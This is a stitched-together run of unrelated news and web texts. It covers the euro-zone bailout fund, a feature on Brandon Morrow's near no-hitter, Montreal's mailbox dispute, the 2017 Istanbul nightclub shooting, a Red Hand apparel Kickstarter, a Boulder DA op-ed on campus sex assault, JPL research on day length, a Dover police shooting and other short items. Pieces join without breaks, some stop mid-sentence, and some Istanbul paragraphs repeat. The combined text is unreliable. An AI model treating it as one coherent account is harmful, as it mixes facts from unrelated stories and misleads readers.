One option under consideration, suggested by the U.S. officials, is to treat the E.F.S.F. as an insurance program. The European Central Bank, which has an unlimited ability to create money, would lend money to investors to buy the debt of troubled countries. The bailout fund would agree to absorb any losses.
Mr. Rehn said that countries were focused first on approving the plan reached in July, which allows the fund more flexibility — for example, to make pre-emptive loans to countries that are not yet in distress. Legislatures in each euro zone country must approve the changes, and so far only 6 of the 17 have, but Mr. Rehn and other officials said they were confident that the process would be completed by mid-October.
European officials have promised to present “a collective and bold action plan” with other major economies in early November, when the leaders of the Group of 20 largest economies hold a scheduled meeting in France.
If financial markets continue to plunge this week, however, there will almost certainly be pressure for more immediate action. The Dow Jones industrial average fell 6.4 percent last week, its worst performance since October 2008.
Binyamin Appelbaum contributed reporting from Washington.Some years later, the finer details of that game elude Brandon Morrow, which isn’t so unusual for him. A lot of games come back to him smeared around the edges, blurry in the middle, boxed up and put away on the day they’re here and gone. So this wouldn’t be any different. It’s not like he tries not to think about that game. He’s simply not one of those reflective souls who recall this pitch on this day to this hitter, except maybe for that backup slider to John Jaso in the eighth inning he got away with, the middle-middle mistake in mechanics or concentration or something that very nearly had him convinced he was going to throw a no-hitter.
He walked the day of that game to the ballpark along Front Street and Blue Jays Way, over the railroad tracks, like always. No one recognized him as the guy who would pitch for the Blue Jays that afternoon. No one ever did, not ever. When he considered that, which wasn’t often, because frankly he preferred it that way and there’d be no sense overthinking a good thing, he’d muse he must have one of those generic faces, is all. So the guy on the sidewalk on a mild Sunday afternoon who was just a guy on a walk or going for breakfast or a newspaper continued past the security guards and toward the silent hellos from the other nice folks at Rogers Centre.
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Story continues
Morrow was 26 years old on Aug. 8, 2010. He was new to Toronto, new to the Blue Jays, having made 21 starts for them since the trade from Seattle. It was going fine, too. After some previous conversations about him and his body and whether they’d be suited long term for the rotation or the bullpen, Morrow was a regular starter with Ricky Romero and Shaun Marcum and Brett Cecil. The Blue Jays were pretty good, only assigned to a division in which three teams won 89 games or better, so they’d be fourth. But, still, they were pretty good. That rotation was young and on some days breathed fire, so this was whom the Blue Jays would be for a while, Brandon Morrow up near the front.
He’d pitch that afternoon against the Tampa Bay Rays, the best team in the AL East who the day before had put 11 runs on the Blue Jays. And lost by six. Morrow was a big fellow who could push a fastball toward a hundred on some days. He struck out a lot of batters and walked his share too. Just four years out of Cal, the fifth pick in the 2006 draft (behind Luke Hochevar and Evan Longoria, ahead of Andrew Miller, Clayton Kershaw, Tim Lincecum and Max Scherzer), Morrow was finding his place between health and infirm, between power and grace, between this pitch and that, and when and where, and gaining on it.
“I think Brandon always had a good ear,” said his catcher on Aug. 8, 2010, Jose Molina. “He was so good at listening. I’d just come out of New York, winning the World Series, and he had a lot of questions. He really wanted to learn to pitch. He wanted to learn how to set up hitters. He didn’t say much, but he was open to me. We had a lot of good talks.”
Brandon Morrow’s final line on Aug. 8, 2010: Nine innings, one hit, two walks, 17 strikeouts, 137 pitches, 97 strikes. (Photo by Abelimages/Getty Images)
Morrow began that game with a fastball to Ben Zobrist, a foul ball, the first of what would be 137 pitches. He struck out Zobrist on the fourth pitch, the first of what would be 17 strikeouts. Then he struck out Carl Crawford. Then he struck out Evan Longoria.
Going on seven years later, Morrow sat in a hotel room in New York. He’d pitched an inning for the Los Angeles Dodgers a couple hours before. Across 24 appearances for a team that hardly loses anymore, Morrow has a 1.82 ERA, 31 strikeouts, four walks and a fastball that’s a hundred again. Against 94 batters he’s allowed 14 hits, three of them for extra bases, none of them for home runs. He’s tucked inside a bullpen that has the best ERA – 2.92 – in baseball, so after a rotation that has the best
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Montreal Mayor Denis Coderre, who once took a jackhammer to the concrete base of a community mailbox to make a point about his opposition to Canada Post's plans, spoke to reporters gathered at city hall on Monday.
Coderre said he was prepared to consider withdrawing from the lawsuit he joined to block the implementation of community mailboxes in Canada.
The City of Montreal was one of several municipalities to join the Canadian Union of Postal Workers' lawsuit earlier this year.
"We'll see what happens, but if everything is suspended I'm even ready to reconsider. But clearly we have to have a truce — because you have to be vigilant with Canada Post, we never know. They say one thing and then the next day, who knows what happens," Coderre said on Monday.
"But since we have a new government who was very clear on what would be the outcome of Canada Post, let's sit together. We want to be a part of a solution."The black Audio-Technica ATH-M40X Monitor Headphones and C01U USB Microphone Kit from B&H features a pair of Audio-Technica professional stereo monitor headphones and a Samson CO1U Pro-Black USB studio condenser microphone. Accessories include two 9.8' headphone cables, a screw-on adapter, a desktop stand, a mic clip, a USB cable, and two carry pouches. This kit can be used to make high-quality audio recordings on Mac or Windows computers without the need of any additional gear or cabling.
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Jan. 1, 2017, 8:51 AM GMT / Updated Jan. 1, 2017, 10:34 PM GMT By Alastair Jamieson and Aziz Akyavas
A terrorist remained on the loose Sunday after opening fire at a crowded nightclub in Istanbul during New Year's celebrations, killing at least 39 people.
The suspect killed a police officer and a civilian outside the Reina Club before entering and firing on revelers inside at about 1:30 a.m. (5:30 p.m. ET Saturday).
"Efforts to find the terrorist are continuing," Turkish Interior Minister Suleyman Soylu told reporters. "God willing, he will be caught in a short period of time. This was a massacre, a truly inhuman savagery."
Related: Scenes of Chaos and Mourning After Istanbul Attack
Twenty-eight of the dead were foreigners, Turkish Health Ministry officials said. Canadian, Iraqi, Saudi, Indian, Lebanese, Tunisian, Kuwaiti and Syrian citizens are among the dead.
An Arab Israeli woman was also killed, Israel's Foreign Ministry said, and her friends were wounded. Turkish Health Minister Recep Akdag said 65 people were wounded, four of them critically.
Among the wounded was one American citizen — Jake Raak, 35, of Greenville, Delaware, who was in Istanbul to celebrate New Year’s, his brother, Mike Raak, told NBC News.
Mike learned the news after receiving a call from his brother, who was hospitalized.
“I was in a club and I got shot,” Mike recalled Jake saying.
The injuries weren’t serious — the bullet struck Jake’s hip and traveled to his knee — and doctors expected him to be discharged and on his way home to the United States within the next day, Mike said.
Still, Mike added, his brother sounded horrified.
“He was completely shaken,” he said.
As the manhunt unfolded, the U.S. Consulate in Istanbul warned Americans in the city to "shelter in place," and it tried to tamp down rumors circulating on social media that the U.S. government had forewarning of the attack. In a statement, the consulate denied that it had warned Americans to stay away from the area.
A handful of WNBA players, including Essence Carson, Chelsea Gray and Jantel Lavender of the Los Angeles Sparks, were next door when the attack took place. Sparks coach Brian Agler told The Associated Press that Carson texted him to say the three players were OK.
About two dozen WNBA players are in Turkey during their off-season playing in a league there. The WNBA told the AP that all of the players had been accounted for.
Police guarded the scene of the attack Sunday in the Ortakoy district, close to the Bosphorus strait.
Istanbul provincial Gov. Vasip Sahin said the attacker was armed with a long-barreled weapon and "rained bullets in a very cruel and merciless way on innocent people who were there to celebrate New Year's and have fun," according to the Anadolu news agency.
While it had been reported that the assailant was dressed in a "Santa Claus" outfit, several sources, including Prime Minister Binali Yildrim, said that was incorrect.
Sinem Uyanik was in the club with her husband, who she told NBC News was shot three times but is expected to survive. She said she fainted briefly after two people were shot in front.
Turkish President Recep Tayyip Erdogan "vehemently" condemned the attack in a statement.
"Turkey continues its combat against terror and is absolutely determined to do whatever is necessary in the region to ensure its citizens safety and peace," he said.
National Security Council spokesman Ned Price reaffirmed U.S. support for Turkey, a NATO ally.
"That such an atrocity could be perpetrated upon innocent revelers, many of whom were celebrating New Year's Eve, underscores the savagery of the attackers," he said in a statement.
Security measures had been heightened in major Turkish cities, with police barring traffic leading up to key squares in Istanbul and the capital Ankara. In Istanbul, 17,000 police officers were put on duty, Anadolu reported.
Ankara and Istanbul were targeted by several attacks in 2016 by ISIS or Kurdish rebels, which killed more than 180 people.
The attack in Istanbul prompted the New York Police Department to deploy some counterterrorism teams and patrols to nightspots, police officials said, although they cautioned that there were no specific or credible threats to the city.
Among the wounded was one American citizen — Jake Raak, 35, of Greenville, Delaware, who was in Istanbul to celebrate New Year’s, his brother, Mike Raak, told NBC News.
Mike learned the news after receiving a call from his brother, who was hospitalized.
“I was in a club and I got shot,” Mike recalled Jake saying.
The injuries weren’t serious — the bullet struck Jake’s hip and traveled to his knee — and doctors expected him to be discharged and on his way home to the U.S. within the next day, Mike said.
Still, Mike added, his brother sounded horrified.
“He was completely shaken,” he said.Update: We will ship outside of the US. Just add $10 to your pledge.
During the spring of 2012, I went looking for shoelaces and was surprised that I couldn’t find any. Not the quality I wanted, not the size I wanted, and not the color I wanted. So I decided that I was going to make a better shoelace. And that is how Red Hand started. That’s right, with shoelaces.
That idea to revolutionize shoelaces gave rise to the philosophy that drives Red Hand: bring the best materials, thoughtful design, and performance to products that have been widely neglected by the big brands. Make them attractive and stylish. Use American manufacturers. Sell them direct online. We also decided that instead of just making shoelaces that we were going to take on all men’s basic apparel and accessories.
We knew that if we brought thoughtfulness, style, and performance together that we could put out a collection of products better than nearly anything else on the market. We found the best American manufacturers that would work with us to produce each of our products.
So, that’s Red Hand – American made, high-quality basics and accessories that work, fit, and look great. Period.
The result of the last ten months is a line of shoelaces, socks, undershirts, t-shirts and belts that makes up our first collection. We have worked with fashion designers, product engineers, and suppliers to prototype these products, now we just need to finish the cycle and do our first full production run. That is where Kickstarter comes in.
Why are we on Kickstarter? It’s simple: we need more financing to produce our 2013 Collection of shoelaces, socks, undershirts, t-shirts and belts. We need to buy raw materials in bulk so that we can make products more efficiently and produce our initial order. We need your help to do that.
We put together a table to help you navigate the packages we are offering. If the products appear in red, it means you have the options to choose either.
The First Red Hand Products
Transform your shoes with Red Hand shoelaces
Shoelaces. We started by making better athletic and dress shoelaces. There are not many shoelace braiders left in the States that can produce laces that will compete with the best on the market. We found the one left that produces for some of the top names and brands in footwear today.
Our shoelaces are made from premium blends so that our laces last and use variable density braiding to ensure they stay tied longer. They come in more sizes so that you can find the right lace for your foot and shoe.
Athletic Laces: Styles - oval and bubble / Colors - black, red or white with an additional oval lace in black with red stripes / Lengths - 34", 40", 46", 52" and 58" / Aglets - clear acetate or black, red or silver metal.
Dress and Casual Laces: Style - round / Colors - black, brown or red with more colors coming online this spring / Lengths - 27", 30" or 33" / Aglets - clear acetate or black, red or silver metal.
Socks. When we designed our socks, we took our favorite parts from the best socks we could find. We brought back a few design elements that we thought designers should have kept. We ditched the “one size fits all” approach. Then we found the best sock maker in the States - the family owned business that makes elite socks for one of the biggest athletic companies in the world and that makes some of the best performance socks on the market today.
All of our socks have soft cotton uppers, arch compression and padding on the heel, sole and toe. The heel, sole and toe incorporate a wool and acrylic blend that keeps your feet dry. The low cut athletic socks have a tab on back to keep them from slipping down your heel. The casual sock is available in an over-the-calf style to keep those socks up.
Athletic Socks: Styles - low (with tab) and crew / Sizes - medium (6-8), large (8.5-12) and extra large (12.5-15) / Colors - black or white with red or grey blocking / Material - cotton uppers with a signature cotton, wool, and acrylic blend for the heel, toe and sole
Casual Socks: Styles - crew and over-the-calf / Sizes - medium (6-8), large (8.5-12) and extra lage (12.5-15) / Colors: black, Red Hand striped, Red Hand diamonds, and black and grey striped with red or grey blocking / Materials - cotton uppers with a signature cotton, wool, and acrylic blend for the heel, toe and sole
Belts. As with socks and laces, we are struck by how hard it is to find a good belt so we decided to make our own. We are using American leather in all of our belts and working with Detroit metal crafters to make our buckles.
For Kickstarter, we wanted to offer our supporters something unique. We have identified five classic American cars and are working with the metal team to make a limited edition belt buckles from hoods of those cars. Each belt will come with a tag that shows the year, make, and model and will be numbered. The buckles tell the story of the glory days of American manufacturing and of its re-emergence with brands like Red Hand. It tells the story of Detroit, where our products are designed. And, it tells the story of being an American guy.
The Red Hand Collectors Belt: Red, white and black buckles cut from classic American cars on black, brown or natural leather in the size of your choice. The list of cars will be finalized once Kickstarter is complete.
Undershirts. Too often, undershirts are boxy and too short, and the quality is inconsistent. Our undershirts are designed to be a slimmer fitting and longer in the torso. The 'V' is deeper so that it stays hidden. That means you can comfortably wear them with all cuts of dress shirts and with jeans and trust that they will not come untucked. We chose ultra soft and ultra premium Supima cotton. Our recommendation: pick them in natural. It feels even softer and won't stick out as much against your skin.
We have one of the best North Carolina knitters making our cotton and a top-tier cut and sew shop in Pennsylvania. The quality of these shirts is remarkable.
The Red Hand Undershirt: Styles - V neck and crew neck / Colors - white and natural / Sizes - medium, large, extra large
T-shirts. We love t-shirts so it only seemed natural to release them first-we still have some of our first collection available on our website. We created a limited edition t-shirt that will only be available during this Kickstarter campaign. It will be printed on a Red Hand made t-shirt.
The newest Red Hand t-shirt available during the Kickstarter campaign
The original line of Red Hand t-shirts still available at redhand.us
Design
Our approach to design is straightforward:
1: bring a fresh set of eyes to ignored or neglected products,
2: use colors and patterns that look good in casual and professional settings, and
3: identify the best materials to improve performance and fit while making our products unbelievably comfortable.
The result is shoelaces that last and stay tied without shredding or breaking, and aglets that don’t fall apart. (An aglet, by the way, is that little thing on the end of your shoelaces.) It means socks that stay up, fit well, and fight odor and undershirts that stay tucked in even when you are wearing jeans. And, it means belts with buckles cut from the hoods of classic muscle cars that look cool and tell a story while keeping your pants up.
We were fortunate to find a phenomenal design partner in Middlecott. We worked so well together that they became a partner in Red Hand.
About Red Hand
I’ve never considered myself a fashion guy, but I have decades of design experience on the web, in landscapes, and as a sculptor. I have spent a majority of my professional life dedicated to making the things I touch excel. I’ve owned four businesses and helped more than a dozen other business owners build theirs. I know how to bring the right people together to accomplish more than they have any business trying on their own.
I know what I like and what I demand as a consumer. I love things that fit, that are comfortable, and that last. I like companies that are responsive and care. I don’t like things that feel overdone. Common sense and function are equally as important to me as how things look. But I need all three.
When I created Red Hand, I set out to build a company that made incredible products—the kind of products that guys would be psyched to put on every day. I also set out to build a company that I could believe in. One that was fair to suppliers and manufacturers as well as employees and customers. You can’t do that without being smart about business, and I have experience balancing that.
The design and the brand are inspired by iconic American brands, by musicians and artists, and by my Midwestern background. We are incredibly proud of what we have done in a short period of time and even more excited about what that says for the future of Red Hand. We hope you agree.
What's Next?Lamborghini Gallardo Superleggera chases a Porsche 911 GT3 through Paris – Click above to watch video after the jump
Before we go salivating all over the thought of two of Europe's best and brightest going the distance through the City of Lights, we should probably start off with an obligatory "don't try this at home." The kids you see sliding around the Parisian streets in the video after the jump are trained professionals working in a semi-controlled environment, so do us all a favor and keep your reenactments confined to your Need For Speed marathons.That said, the video is a well-shot interpretation of what a full lap of Paris might look like as a Porsche 911 GT3 and a Lamborghini Gallardo Superleggera go fender-to-fender. Our early money was on the Raging Bull strolling away with the checkered flag, but Stuttgart's finest seemed to have no problem keeping the big bad Italian behind its winged tail-end as the two snake around the French capitol. Hit the jump to see the action for yourself.[Source: YouTube"Fair, effective, sex assault investigations take time and cannot be handled by investigators under pressure to rush to a particular conclusion due to financial pressures on the university," writes Boulder DA Stan Garnett. (Matthew Jonas / Staff Photographer)
As a person who deals with the issue of sex assault on campus, it seems appropriate for me to offer some opinions in the context of Congressman Polis's remarks and the discussion they have engendered.
First, it is important that we be clear what is being discussed. Sex assault is a very serious crime. Most sex assaults in Colorado are at least class 4 felonies, potentially punishable by many years in prison, mandatory registration as a sex offender, court-ordered sex offender treatment and large fines, as well as the life-changing consequences of a felony conviction.
Our criminal justice system has developed effective protections and strategies to assure fair and honorable investigation, charging and prosecution of sex offenses, carefully balancing the rights of the accused with the rights of a victim. Though law enforcement sometimes fails to act quickly and appropriately (some cite the recent reported problems in Jon Krakauer's book, "Missoula"), a well-run district attorney's office is fully capable of reviewing, investigating, filing and prosecuting cases when a conviction is appropriate. Failure of law enforcement to handle these cases appropriately is normally due to one (or both) of two common problems:
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1. Lack of commitment to sex assault prosecution by a district attorney's office (a problem most often solved through the political process of electing a different DA), or,
2. Lack of expert training in sex assault on the part of investigators and prosecutors.
In Boulder's 20th Judicial District, we have some of the best expert sex assault prosecutors in the USA, led by nationally-recognized Chief Trial Deputy Katharina Booth. Our lawyers, investigators and victim advocates not only receive regular training but help to train others around the country. Their trial record on tough sex assault prosecutions is second to none.
Although universities adjudicate student discipline, it is a serious mistake to equate investigation and resolution of felony sex assault with cheating on a test or drinking or smoking in a dorm room or the other normal fodder of the university discipline process, where due process on some level is important, but of an entirely different quality than the criminal justice system provides.
We should never tolerate the adjudication of serious felony behavior outside the criminal justice system. There are many reasons:
1. The risk of wrongful conviction is too great. The rigorous due process of the criminal justice system exists for mainly one reason: to make sure society can have confidence that one who is found guilty is, in fact, guilty. Relaxing due process, or having investigations not handled by well-trained professionals can lead to wrongful conviction.
2. The risk of traumatizing victims of sex assault. Interview and handling of victims and witnesses in sex crimes requires skill, sensitivity and time. Clumsy or repeated interviews can be traumatic for victims.
3. Those guilty of serious felony behavior present a societal risk, not just a campus risk. To suggest that sex assault on campus is primarily a campus problem is just plain wrong: it is a societal problem and deserves a societal response through the criminal justice system.
4. The criminal justice system is public and the public can observe, evaluate and criticize the proceedings. University conduct investigations carry the inherent secrecy of the discipline process, which can leave the public questioning the fairness of an investigation and the accuracy of the determinations.
The federal government's decision to tie campus funding to a one size fits all investigative approach can interfere with criminal investigations. Fair, effective, sex assault investigations take time and cannot be handled by investigators under pressure to rush to a particular conclusion due to financial pressures on the university. Also, "warning letters" or warning bulletins, or campus-based "stay away from each other" orders can, if issued prematurely, prevent law enforcement from determining the truth of alleged criminal behavior.
Because campus-based sex assaults are a serious problem, communities should demand that their criminal justice systems be up to the task of investigating and prosecuting these cases. It is no solution to put in place a secret, "shadow" adjudication system under the guise of student conduct investigations that does not have the protections and reliability of the American justice system.
Stan Garnett is district attorney of Colorado's 20th Judicial District, headquartered in Boulder.All days are not created equal. Some don't just seem longer than others -- they are.
A classic movie about World War II's D-Day was called "The Longest Day." However, scientifically, that title was not correct. That was not the longest day. Nor is a summer solstice, June 21, when the period between sunrise and sunset is the longest in the northern hemisphere.
The longest day in the past century occurred sometime during 1912, according to JPL geophysicist Dr. Richard Gross. The shortest day in the past 100 years was August 2, 2001, when the length of time that it took Earth to make one complete turn on its axis actually dipped below 24 hours by about one-thousandth of a second.
Gross studies Earth's rotation. As it turns out, Earth doesn't rotate like clockwork. In a recent paper in the journal Physics of the Earth and Planetary Interiors, Gross combined several series of length-of-day measurements into one that spans from 1832 to 1997 and smoothed out some of the error with a sophisticated mathematical formula.
"The length of the day changes about a millisecond over the course of a year," says Gross. "It gradually increases in the winter, when Earth rotates more slowly, and decreases in the summer. There are also longer patterns of changes in the length of day that last decades, even centuries."
Since there are 86,400 seconds in a 24-hour day, a few thousandths of a second might not seem to make much difference, but they do. Knowing exactly when and how much Earth's rotation varies may lead to better models of the atmosphere and oceans, improved weather prediction and a greater understanding of the planet's inner workings.
In addition to his research, Gross works with a group at JPL that uses the global positioning system to measure Earth's rotation very precisely, to about one-hundredth of a millisecond. "JPL is one of the few places in the world that has an application for this kind of work," says Gross, "and that's spacecraft navigation."
"If, say, you want to send a lander to Mars," says Gross, "you can track the spacecraft with respect to Earth. So you need to know exactly how Earth is oriented in order to make the right course maneuvers to target a particular landing site on Mars."
"If Earth rotated uniformly, you would know how it is oriented at any particular time in relation to Mars or any other place," says Gross, "but Earth doesn't rotate uniformly."
Gross tries to understand these changes and how to predict them.
"Variations in the length of day were first noted by Edmond Halley in 1695," says Gross. "He was looking at the Moon's motion and thought he saw it accelerating. What he really saw was the Earth slowing down."
Since Halley's time, scientists have used a variety of techniques to measure Earth's rate of rotation. First they used astronomical methods. Now they use lunar and satellite laser ranging; a technique called very long baseline interferometry; and the global positioning system.
The length of the day--how fast or slow the Earth rotates--depends on how Earth's mass is distributed. Its mass includes the atmosphere, the solid Earth and its fluid core. When the distribution of Earth's mass changes, as during a major earthquake, for example, so does the speed of its rotation. "It's like an ice skater," says Gross, "who spins faster as she brings in her arms. She is changing her mass distribution."
"The annual changes in the length of the day," says Gross, "are caused mostly by the atmosphere -- changes in the strength and direction of the winds, especially the jet stream. The Sun warms the equator more than the poles. That temperature difference is largely responsible for the jet stream. Seasonal changes in that temperature difference cause changes in the winds and, hence, the length of the day."
The longer patterns in changes of the length of the day can last for decades. "These are caused by processes within Earth's core," says Gross. "The core is a fluid. Its motion generates Earth's magnetic field. Changes in its motion can change the rotation of solid Earth. Observing the magnetic field at the surface gives us an idea of how fluid is moving within the core. These changes in the fluid motion inferred from the magnetic field match the longer period changes we see in the length of the day."
We happen to be in the midst of one of these long-term patterns now. Annually, the length of the day has been getting shorter since 1992. If the trend continues, says Gross, the shortest day may well appear this summer.Friday night at the new yard was not just about Friday night, or just about the new yard.
From the Hamilton Tiger-Cat experience last year we already knew that Tim Hortons Field is going to make a difference, and when it temporarily becomes CIBC Hamilton Pan Am Stadium next week, it will make a difference, too.
Friday was a stepping stone — more like a segue, actually — to July's Pan Am Games, but also to a host of other things between now and 2030.
Why pick that far-off date, you might ask? Because that's the centennial of the first Commonwealth Games (nee British Empire Games) which were held in Hamilton on the very site that Friday night's game was played, but in a stadium facing the other direction.
And, yes, there is already talk in some Hamilton quarters that we should be bidding for those Games. Besides the historical symmetry, we have to get a pool and a track somewhere, and there's plenty of time to financially plan.
With the new joint sold out for Canada vs. England Friday night, and the old joint downtown setting North American attendance records last month for synchronized skating, this city has its sports-host groove back.
Back in the late 1980s and for all of the '90s, Hamilton was the go-to place for almost all of the major national and international sports events — Canada Cup, Memorial Cup, Leafs and Sabres exhibition games, Figure Skating's Grand Prix, three national figure skating championships et al. — and that was without the Tiger-Cats being anywhere close to what they are today.
And what they are today is not just a sports franchise but a very successful business franchise, with many arms looking for more places to reach into.
They'll have a soccer team soon, and therefore will get as well-versed in the business of that football as they are of their own brand of football. If the city is looking to become an international player again, and we are, the Ticats will always be involved.
The Cats, with their last two crazy years and undefeated record on the coffee grounds, have created a feeling about the east-end stadium that was continued by Canada's favourite soccer team Friday night. The place was sold out, and we're guessing that fewer than half the tickets went to people who live here and in Burlington.DOVER, Del. - A police officer-involved shooting in Dover caused tensions to rise Friday afternoon mainly because of where the shooting happened. Witnesses told WBOC that the shooting occurred very close to a daycare center with young children inside.
During a press conference, Police Chief Paul Bernat identified the man who was shot as 21-year-old Terrence Fletcher. Chief Bernat said Fletcher was shot in the thigh by a Dover Police officer following a brief police chase in the area of South Governors Avenue and South New Street. Chief Bernat said Fletcher was armed with a handgun at the time, and that weapon was later recovered. Fletcher was treated at Kent General Hospital with a gunshot wound to the thigh that police described as a "flesh wound." At the time of the news conference, Chief Bernat added that Fletcher was in good condition.
Police say they responded to the area around 1 p.m. Friday after they received a tip of a suspect with a handgun in the area of the 100 block of South New Street, which is near a daycare and its outside playground. When officers arrived on scene, police say they saw the suspect, later identified as Fletcher, as being the person in possession of a firearm. As officers approached him, they say he took off through a narrow alleyway towards Governors Avenue, where other officers were located as a staging area. As Fletcher ran towards the officers on Governors Avenue, that’s when police say a Dover Police officer fired his weapon, striking Fletcher in the upper thigh.
Fletcher was charged with carrying a concealed deadly weapon and possession of a firearm by a prohibited person, according to police. He is being held on $20,000 cash bond.
Chief Bernat said the officer involved in the shooting is a three year veteran of the Dover Police Department and a member of the Street Crimes Unit. Bernat added that the officer, who has not been identified, is on administrative leave with pay pending the outcome of the investigation, which is department protocol.
WBOC on the scene reported a large crowd in the area following the incident. Police officers from Smyrna, Milford, Capitol, and Delaware State Police Departments responded to assist with the crowd. Police say two people were arrested for disorderly conduct and other charges as a result. The majority of the crowd dispersed peacefully a short time later.
WBOC spoke with Dover Mayor Robin Christiansen who said he told people that violence in response to this event will not be tolerated. He added the city is working with the Interdenominational Ministerial Alliance, the leaders of churches in the African-American community, to help calm the community's reaction.
The leaders say they are hosting a meeting Saturday for the community to express concerns and thoughts about violence, jobs, resources and other issues in the neighborhood. The meeting will be held at the Center of Faith church on New St. at 6pm on Saturday Aug. 29.South Korea's finance minister on Wednesday said the government will vigorously argue Korea's case should the U.S. make any unreasonable trade demands.
"We will actively promote our stance on any irrational demands from the U.S., and use any rational demands (on trade) to improve our regulations to remove any impediments to the fourth industrial revolution," Yoo Il-ho said in a meeting with ministers in Seoul.
He said the government would strengthen its communications when U.S. President-elect Donald Trump takes office later this month, and will meet with global investors next week in New York to promote the economy.
A U.S. and South Korea free trade agreement came into effect on March 15, 2012. It was hailed at the time as the model for the Trans-Pacific Partnership, which President-elect Donald Trump has sharply criticized as flawed, making approval by the U.S. Congress on an agreement reached this year by leaders and negotiators of the dozen nations involved unlikely.
Follow CNBC International on Twitter and Facebook.The Chinese government announced today that it will lift a longtime ban on sales of video game consoles, opening up the market to foreign companies in Shanghai's new free trade zone. China's State Council announced the decision in a statement issued Friday, saying foreign companies will be able to sell consoles across the entire country as long as they have established production and sales operations in the free trade zone. Each console will also have to be approved by China's Ministry of Culture before going on the market.
China banned consoles in 2000 over fears that video games may have a detrimental effect on the mental and physical development of children. Reports earlier this year suggested that Beijing was considering relaxing its policy, though officials later disputed such claims. Consoles have been available on the black market in China, though most gamers use PCs or mobile devices.
No timeline for sales to begin
Today's announcement follows earlier reports that China may be relaxing its longstanding bans on Facebook and Twitter within the forthcoming free zone. The People's Daily, a state-run newspaper, later refuted the reports, saying current "internet management measures" will remain in place in Shanghai.
It is not clear when sales of video game consoles will begin, as policymakers continue to draft new rules for the free trade zone. The government released a list of key principles governing the zone on Friday, though changes will be implemented over the course of the next three years. The new zone, located in the eastern suburbs of Shanghai, is seen as a promising sign that China may be loosening restrictions for foreign investors. It also comes at a crucial time for China, which has seen its economy slow in some key sectors after decades of rapid growth.
Update: In addition to lifting the console ban, a Wall Street Journal report says that China will be allowing foreign companies to "directly allow some internet services" in Shanghai; however, it's not clear whether the overall restrictions will be appreciably loosened.Day Five of the Trump vs. Khan saga just received a heavy oxygen blast, as President Barack Obama declared this morning that the GOP nominee is "unfit to serve as president," and reckoned that Republicans should be asking themselves, "if you are repeatedly having to say in very strong terms that what he has said is unacceptable, why are you still endorsing him?"
One Republican still endorsing Donald Trump—and not condemning the Khan comments, as far as I can ascertain—is the libertarianish former presidential candidate Sen. Rand Paul (R-Kentucky). Paul, who skipped the Republican National Convention to perform pro bono surgeries curing the blind, has kept a low profile on Twitter aside from highlighting his re-election swing through the Bluegrass State, and had a spokesman respond to a Wall Street Journal query on Khan thusly: "Senator Rand Paul is focused solely on Kentucky and won't be weighing in on the presidential race at this time."
However, when asked last week about Trump by Louisville's WDRB, Paul said "it's clear" that the Republican nominee would be better than Hillary Clinton on manufacturing, taxes, and regulations, then characterized Trump's loose tongue like so: "Will people sometimes say things that are untoward or not what we wish them to say? Yes, that happens of every candidate….I always tell people the only perfect candidate is if you get to be the candidate or I get to be the candidate, then we agree with ourselves 100 percent of the time."
But Sen. Paul sounded some different and more Libertarian-friendly notes two weeks ago at FreedomFest, when asked by an audience member "What would you say to someone who says that voting for Gary Johnson is the same as voting for Hillary?" His answer, in full:
You know, (four second pause) they aren't the same. I mean, everybody has their decision to make on how they will vote. Some people are very practical minded, and they say "In all likelihood it's going to be Trump or Clinton. Which is the least bad?" And many will vote that way. And some will say, "No but I truly believe in limited government, the Constitution and a non-interventionist foreign policy, and I have a consistent philosophy. I want a candidate more of my liking." And they may well vote for, you know, a third party at that point. So the debate has to be [with] each individual. All I can tell you is from my point of view, I've made my complaints about our nominee quite explicit. I continue to do so, but also don't see it as my job now—the thing is, is: I do think that my word is important. I signed a document, not under duress, but I signed a document saying I wouldn't run as a third party [candidate] and I will support the nominee. And I've supported nominees I haven't been perfectly happy with. I wasn't perfectly happy in 2012; I knew a guy that would have been a lot better in 2012.
After the jump, some other interesting tidbits about the presidential campaign and executive power from Rand Paul's FreedomFest speech.
Have you heard any of the candidates saying…that there is too much power that has gravitated to the presidency? I'm hearing the opposite. I'm hearing people say "Give me more power, and I'll fix it! We'll be great again if you can give me power! By the sheer might of my will we will make things better!" But really there's a lesson of history that we don't want to forget. The lesson of history is that power corrupts, that absolute power corrupts absolutely, and we don't want to fool ourselves into thinking it just means we've got to give the power to our guy, or our girl.
In other Paul/Johnson news, Rand Paul's dad still hasn't decided which third-party candidate he'll vote for.The Food and Drug Administration issued a recall for the baby formula Sammy's Milk because the California-based company did not test for the presence of a potentially deadly bacteria. Photo courtesy FDA
NEWPORT BEACH, Calif., Oct. 1 (UPI) -- The Food and Drug Administration has issued a recall for all baby formula sold by California-based retailer Sammy's Milk because it could possess a potentially deadly bacteria.
The FDA said Graceleigh, Inc., the company that manufactures Sammy's Milk, did not perform the required test to guard against the bacteria Cronobacter, which can cause blood infections or meningitis in infants.
The formula also may have insufficient amounts of iron for some babies and does not carry the required warning to supplement a child's diet, the FDA said.
No illnesses have been reported.
Sammy's Milk, which markets itself as a GMO- and gluten-free baby formula, is distributed in California at Mother's Market retail
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Europe where rising temperatures would coincide with rising humidity, high night-time temperatures and long-lasting heatwaves — all factors that can aggravate health problems.
Global warming will mean more moisture in the air from the Mediterranean, for instance, making it harder for people to sweat away excess heat. High night-time temperatures can make sleep harder.
“We see the strongest increases in the number of these days with dangerous health conditions... all along the coast of the Mediterranean and in low-altitude river basins, such as the Po or the Danube,” he said.
The study defines a heatwave as at least 6 days in a row with temperatures among the hottest 10 percent of those recorded in the region for those dates. That means that a heatwave in Greece is hotter than one in Scandinavia.“VARIANT COVER” – A comic book produced with different covers for the express purpose of having you, the comic fan boy, boy multiple copies of the same thing. Sometimes many covers will create a larger tapestry or work of art; others will be in 3-D; or have alternative concepts. We all love art or we […]
1) Saw 8: The Reality Television Gameshow 2)Live action movie of Hungry, Hungry Hippos 3)The Tonight Show, starring Chewbacca 4) Deadpool vs. Punisher: The Musical 5) The Human Centipede sleeping bag 6) C-Span Live Action Role Playing Group 7) The new Texas Chainsaw Massacre ride at Six Flags Over Texas 8) Your Parents Basement is Always […]
The single camera glory that was Barney Miller can probably never be reproduced. There’s heavy debate in the office whether it should be or not. It was essentially a 22-minute, 3-act play with minimal characters and only one set (after Season One that also featured Barney’s dining room at home). The thing is, the writing […]
Yep. Most of the high school biggies were our man, Hughes. But if you can name the 1980s high school movie quotes listed below, your might have been paying attention to something else in ’88 other than the MTV Beach House and that cute girl with freckles in your 11th grade Chemistry class. 5)”Last night, […]
